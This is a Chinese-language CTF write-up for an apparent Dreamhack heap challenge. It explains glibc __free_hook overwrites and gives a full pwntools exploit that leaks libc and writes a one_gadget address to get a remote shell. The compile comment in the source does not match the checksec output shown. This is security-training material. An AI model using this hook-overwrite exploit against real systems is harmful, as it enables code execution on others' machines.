0x00 源代码
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
0x01 查看代码状态和保护机制
$ checksec ./hook
[*] '/home/ni/workspace/dreamhack/pie/hook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这里我们可以看见除了PIE,其他的保护机制都处于开启的状态。
什么是PIE?
PIE是指即使映射到随机地址上也可以运行的可执行程序。原来只有ASLR开启时,堆栈,公用库的地址会被随机映射,但是 main 函数的地址是不会随机映射的,这也就导致可以使用 ROP 通过 gadget 的方式利用原有的代码来制作恶意代码。但是PIE开启时main函数地址也会随机映射,所以不能得到 gadget 使用ROP,这时候就要选择其他的办法进行攻击。
什么是Hook,为什么要知道?
钩子编程(hooking),也称作“挂钩”,是计算机程序设计术语,指通过拦截软件模块(英语:Modular programming)间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码,被称为钩子(hook)。
钩子在编程中很常见,在函数中用于监视函数,也可以在函数中增加功能等。比如在free, malloc函数中植入钩子可以监视软件内存的释放和分配。
想要绕过PIE保护机制,其中可以使用的一种方式就是Hook Overwrite。可以将钩子植入free, melloc。使得这类函数在调用时,可以执行自己写的恶意代码。这样不需要绕过canary,即使Full RELRO开启可以写入libc。
Hook的弱点
在libc中有很多为了debug存在的函数。例如__malloc_hook,系统会先检查是不是NULL,如果不是的话就继续调用malloc函数。同理free,realloc等函数也有与之对应的hook函数。
通而这些钩子函数都被定义在libc.so中,而且是bss段中。bss段中的数据都是有可写权力的,也就是说可以操作里面的变量。
0x02 分析代码
现在看回源代码,可以看到题目给了stdout的地址,然后自己分配一块内存并且在其中存入自定数据,最后通过free函数释放掉自己分配的内存。这里我们可以通过用system函数的地址覆盖掉free函数的地址,达到目的。但是具体要怎么覆盖free函数,要看下面这串代码。
*(long *)*ptr = *(ptr+1);
这是一个双重指针,目的是将ptr[0]中的值换成ptr[1]中的值。如果在ptr[0]中存入_free_hook,在ptr[1]中存入system函数的地址,就可以将_free_hook指向free函数的指针转变成指向system函数的指针。如此操作,下次free(ptr)的时候实际调用的是system函数
0x03 设计payload
1. 利用stdout地址计算出system函数的地址
方式和之前ROP的几章方法完全一致,这里直接给出代码供参考。但是需要注意stdout函数的地址,不能直接使用symbols[“stdout”],而是要用标准库中的 == _IO_2_1_stdout==
from pwn import*
def slog(n,m): return success(": ".join([n,hex(m)]))
#p = process("./hook")
p = remote("host3.dreamhack.games", 19151)
e = ELF("./hook")
libc = ELF("libc.so.6")
#[1] leak base
p.recvuntil("stdout: ")
leak = int(p.recv(14),16)
lb = leak - libc.symbols["_IO_2_1_stdout_"]
hook = lb + libc.symbols["__free_hook"]
slog("leak base", lb)
slog("hook", hook)
运行一下,结果如下
hook.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("stdout: ")
[+] leak base: 0x7f02d924d000
[+] hook: 0x7f02d96137a8
可以看到成功得到了hook的地址。
2. hook中写入one gadget
在hook地址上用one gadget覆盖,这样就可以直接get shell了。同时生成ptr的时候给一个大一点的值。至于one gadget是什么可以先参考一下这篇文章 glibc里的one gadget 解释的很详细。这个题目给定了一个库,所以可以直接在库中找到我们可以使用的one gadget
$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
然后修改一下,加入找到的one gadget。
one_gadget = 0x4526a
magic = lb + one_gadget
payload = p64(hook) + p64(magic)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)
0x04 完整Exploit
from pwn import*
def slog(n,m): return success(": ".join([n,hex(m)]))
#p = process("./hook")
p = remote("host3.dreamhack.games", 12635)
e = ELF("./hook")
libc = ELF("libc.so.6")
one_gadget = 0x4526a
#[1] leak base
p.recvuntil("stdout: ")
leak = int(p.recv(14),16)
lb = leak - libc.symbols["_IO_2_1_stdout_"]
hook = lb + libc.symbols["__free_hook"]
slog("leak base", lb)
slog("hook", hook)
magic = lb + one_gadget
#[2]
payload = p64(hook) + p64(magic)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)
p.interactive()
运行结果
hook.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("stdout: ")
[+] leak base: 0x7fbcef736000
[+] hook: 0x7fbcefafc7a8
hook.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter("Size: ", "400")
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ ls
flag
hook
https://xz.aliyun.com/t/2720